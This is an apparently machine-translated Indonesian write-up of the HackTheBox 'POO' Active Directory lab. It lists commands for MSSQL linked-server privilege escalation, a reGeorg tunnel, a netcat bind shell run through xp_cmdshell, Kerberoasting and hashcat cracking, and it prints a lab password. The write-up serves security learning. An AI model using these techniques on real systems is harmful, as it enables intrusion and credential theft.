HackTheBox endgame. Lulusnya Operasi Ofensif Profesional laboratorium. Direktori Aktif Pentest

gambar

Pada artikel ini, kami akan menganalisis bagian tidak hanya dari mobil, tetapi dari seluruh laboratorium mini dari situs HackTheBox .

Seperti yang dinyatakan dalam deskripsi, POO dirancang untuk menguji keterampilan di semua tahap serangan di lingkungan Active Directory kecil. Tujuannya adalah untuk mengkompromikan host yang tersedia, meningkatkan hak istimewa dan, akhirnya, kompromi seluruh domain, sambil mengumpulkan 5 bendera.

Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kantor atau dari host di mana data yang penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)

Informasi Organisasi
, , Telegram . , , .

. , - , .

Intro


Endgame ini terdiri dari dua mesin, dan berisi 5 flag.

gambar

Deskripsi dan alamat host yang tersedia juga diberikan.

gambar

Ayo mulai!

Tandai kembali bendera


Mesin ini memiliki alamat IP 10.13.38.11, yang saya tambahkan ke / etc / hosts.
10.13.38.11 poo.htb

Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

gambar

Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.

nmap -A poo.htb -p80,1433

gambar

Jadi, kita memiliki IIS dan MSSQL. Dalam hal ini, kita akan mengetahui nama DNS asli dari domain dan komputer. Di server web kami disambut oleh beranda IIS.

gambar

Mari kita pergi melalui direktori. Saya menggunakan gobuster untuk ini. Dalam parameter kami menunjukkan jumlah aliran 128 (-t), URL (-u), kamus (-w) dan ekstensi yang menarik bagi kami (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

gambar

Dengan demikian, kami memiliki otentikasi HTTP untuk direktori / admin, serta file repositori layanan desktop yang tersedia .DS_Store. .DS_Store - ini adalah file yang menyimpan pengaturan pengguna untuk folder, seperti daftar file, lokasi ikon, gambar latar yang dipilih. File seperti itu dapat jatuh ke direktori server web pengembang web. Dengan demikian, kami mendapatkan informasi tentang isi direktori. Anda dapat menggunakan perayap DS_Store untuk ini .

python3 dsstore_crawler.py -i http://poo.htb/

gambar

Kami mendapatkan isi direktori. Hal yang paling menarik di sini adalah direktori / dev, dari mana kita dapat melihat sumber dan file db di dua cabang. Tapi kita bisa 6 karakter pertama nama file dan direktori jika layanan rentan terhadap IIS ShortName. Untuk memeriksa kerentanan ini, gunakan pemindai nama pendek IIS .

gambar

Dan kita pergi ke satu file teks yang dimulai dengan "poo_co". Tidak tahu apa yang harus dilakukan selanjutnya, saya cukup memilih semua kata yang dimulai dengan "co" dari kamus direktori.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Dan beralih melalui wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

gambar

Dan kami menemukan kata yang tepat! Kami melihat file ini, menyimpan kredensial (dilihat dari parameter DBNAME, mereka dari MSSQL).

gambar

Kami menyerahkan bendera, dan kami bergerak maju sebesar 20%.

gambar

Bendera ya


Kami terhubung ke MSSQL, saya menggunakan DBeaver.

gambar

Kami tidak menemukan sesuatu yang menarik dalam database ini, mari kita buat SQL Editor dan periksa apa itu pengguna.

SELECT name FROM master..syslogins;

gambar

Kami memiliki dua pengguna. Mari kita periksa hak istimewa kita.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

gambar

Dengan demikian, tidak ada hak istimewa. Mari kita lihat server terkait, tentang teknik ini saya tulis secara rinci di sini .

SELECT * FROM master..sysservers;

gambar

Jadi kami menemukan SQL Server lain. Mari kita periksa eksekusi perintah di server ini menggunakan openquery ().

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');

gambar

Dan kita bahkan dapat membangun pohon permintaan.

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');

Faktanya adalah bahwa ketika kami mengeksekusi permintaan ke server yang ditautkan, permintaan tersebut dieksekusi dalam konteks pengguna lain! Mari kita lihat dalam konteks pengguna mana yang sedang kami kerjakan pada server yang tertaut.

SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');

gambar

Sekarang mari kita lihat dalam konteks apa permintaan dari server yang terhubung ke server kita dieksekusi!

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');

gambar

Dengan demikian, ini adalah konteks DBO yang harus memiliki semua hak istimewa. Mari kita periksa hak istimewa jika ada permintaan dari server yang tertaut.

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

gambar

Seperti yang Anda lihat, kami memiliki semua hak istimewa! Mari buat admin kami dengan cara ini. Tetapi mereka tidak membiarkannya melalui openquery, mari kita lakukan melalui EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";

Dan sekarang kita terhubung dengan kredensial pengguna baru, kita amati basis data bendera baru.

gambar

Kami menyerahkan bendera ini dan melanjutkan.

gambar

Mundur bendera


Kami akan mendapatkan shell menggunakan MSSQL, saya menggunakan mssqlclient dari paket impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

gambar

Kami perlu mendapatkan kata sandi, dan hal pertama yang kami temui adalah situs. Oleh karena itu, kita memerlukan konfigurasi server web (tidak mungkin untuk membuang shell yang mudah digunakan, tampaknya firewall berfungsi).

gambar

Tetapi akses ditolak. Meskipun kami dapat membaca file dari MSSQL, Anda hanya perlu tahu bahasa pemrograman apa yang dikonfigurasi. Dan dalam direktori MSSQL kami mencari tahu apa itu Python.

gambar

Kemudian baca file web.config tidak ada masalah.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"

gambar

Setelah kredensial ditemukan, buka / admin dan ambil benderanya.

gambar

gambar

Bendera yang halus


Bahkan, ada beberapa ketidaknyamanan menggunakan firewall, tetapi melihat pengaturan jaringan, kami melihat bahwa tusukan IPv6 juga digunakan!

gambar

Tambahkan alamat ini ke / etc / hosts.
dead:babe::1001 poo6.htb
Mari memindai host lagi, tetapi menggunakan IPv6.

gambar

Dan lebih dari IPv6, layanan WinRM tersedia. Terhubung dengan kredensial yang ditemukan.

gambar

Ada bendera di desktop, kami serahkan.

gambar

Bendera P00ned


Setelah pengintaian pada tuan rumah menggunakan winpeas, kami tidak menemukan sesuatu yang istimewa. Kemudian diputuskan untuk mencari lagi kredensial (saya juga menulis artikel tentang topik ini ). Tapi saya tidak berhasil mendapatkan semua SPN dari sistem melalui WinRM.

setspn.exe -T intranet.poo -Q */*

gambar

Mari kita jalankan perintah melalui MSSQL.

gambar

Dengan cara ini, kita mendapatkan SPN pengguna p00_hr dan p00_adm, yang berarti mereka rentan terhadap serangan seperti Kerberoasting. Singkatnya, kita bisa mendapatkan hash kata sandi mereka.

Pertama, Anda perlu mendapatkan shell yang stabil atas nama pengguna MSSQL. Tetapi karena akses kami terbatas, kami hanya memiliki akses ke host melalui port 80 dan 1433. Tetapi adalah mungkin untuk mengarahkan lalu lintas melalui port 80! Untuk melakukan ini, kami menggunakan aplikasi berikut . Unduh file tunnel.aspx ke direktori home server web - C: \ inetpub \ wwwroot \.

gambar

Tetapi ketika kita mencoba mengaksesnya, kita mendapatkan kesalahan 404. Ini berarti bahwa file * .aspx tidak dieksekusi. Agar file dengan ekstensi ini mulai dijalankan, instal ASP.NET 4.5 sebagai berikut.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

gambar

gambar

Dan sekarang ketika mengakses tunnel.aspx kita mendapatkan jawaban bahwa semuanya siap untuk bekerja.

gambar

Mari kita luncurkan bagian klien dari aplikasi, yang akan menangani pengiriman lalu lintas. Kami akan mengarahkan semua lalu lintas dari port 5432 ke server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

gambar

Dan kami menggunakan rantai proxy untuk mengirimkan lalu lintas ke aplikasi apa pun melalui proxy kami. Tambahkan proxy ini ke file konfigurasi /etc/proxychains.conf.

gambar

Sekarang kita akan mengunggah program netcat ke server , dengan bantuan yang mana kita akan membuat bind shell yang stabil, dan skrip Invoke-Kerberoast , yang dengannya kita akan melakukan serangan Kerberoasting.

gambar

Sekarang melalui MSSQL kita mulai pendengar.

xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321

gambar

Dan terhubung melalui proxy kami.

proxychains rlwrap nc poo.htb 4321

gambar

Dan mari kita ambil hash.

. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt

gambar

Selanjutnya Anda perlu memilah-milah hash ini. Karena tidak ada data kata sandi dalam kamus rockyou, saya menggunakan SEMUA kamus kata sandi yang disediakan oleh Seclists. Untuk pencarian kami menggunakan hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Dan kami menemukan kedua kata sandi, yang pertama di kamus dutch_passwordlist.txt, dan yang kedua di Keyboard-Combinations.txt.

gambar

gambar

Jadi kami memiliki tiga pengguna, buka pengontrol domain. Pertama kita cari tahu alamatnya.

gambar

Oke, kami menemukan alamat IP pengendali domain. Mari cari tahu semua pengguna domain, dan siapa di antara mereka yang merupakan administrator. Untuk mengunduh skrip untuk mendapatkan informasi PowerView.ps1. Kemudian hubungkan menggunakan evil-winrm dengan menentukan direktori dengan skrip pada parameter -s. Dan kemudian hanya memuat skrip PowerView.

gambar

Sekarang semua fungsinya tersedia untuk kita. Pengguna p00_adm terlihat seperti pengguna istimewa, jadi kami akan bekerja dalam konteksnya. Buat objek PSCredential untuk pengguna ini.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Sekarang semua perintah Powershell, tempat kami menentukan Kredit, akan dieksekusi atas nama p00_adm. Mari daftar pengguna dan atribut AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

gambar

Jadi, pengguna kami benar-benar istimewa. Mari kita lihat pada kelompok-kelompok di mana ia disusun.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

gambar

Kami menegaskan bahwa pengguna adalah administrator domain. Ini memberinya hak untuk login jarak jauh ke pengontrol domain. Mari kita coba masuk melalui WinRM menggunakan terowongan kami. Saya bingung dengan kesalahan yang dihasilkan oleh reGeorg saat menggunakan evil-winrm.

gambar

Kemudian kita akan menggunakan skrip lain yang lebih mudah untuk terhubung ke WinRM. Buka dan ubah parameter untuk koneksi.

gambar

Kami mencoba terhubung, dan kami berada di sistem.

gambar

Tapi tidak ada bendera. Kemudian lihat pengguna dan periksa desktop.

gambar

Di mr3ks kami menemukan benderanya dan laboratorium dilewati 100%.

gambar

Itu saja. Sebagai umpan balik, komentari apakah Anda mempelajari sesuatu yang baru dari artikel ini dan apakah itu bermanfaat bagi Anda.

Anda dapat bergabung dengan kami di Telegram. Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

All Articles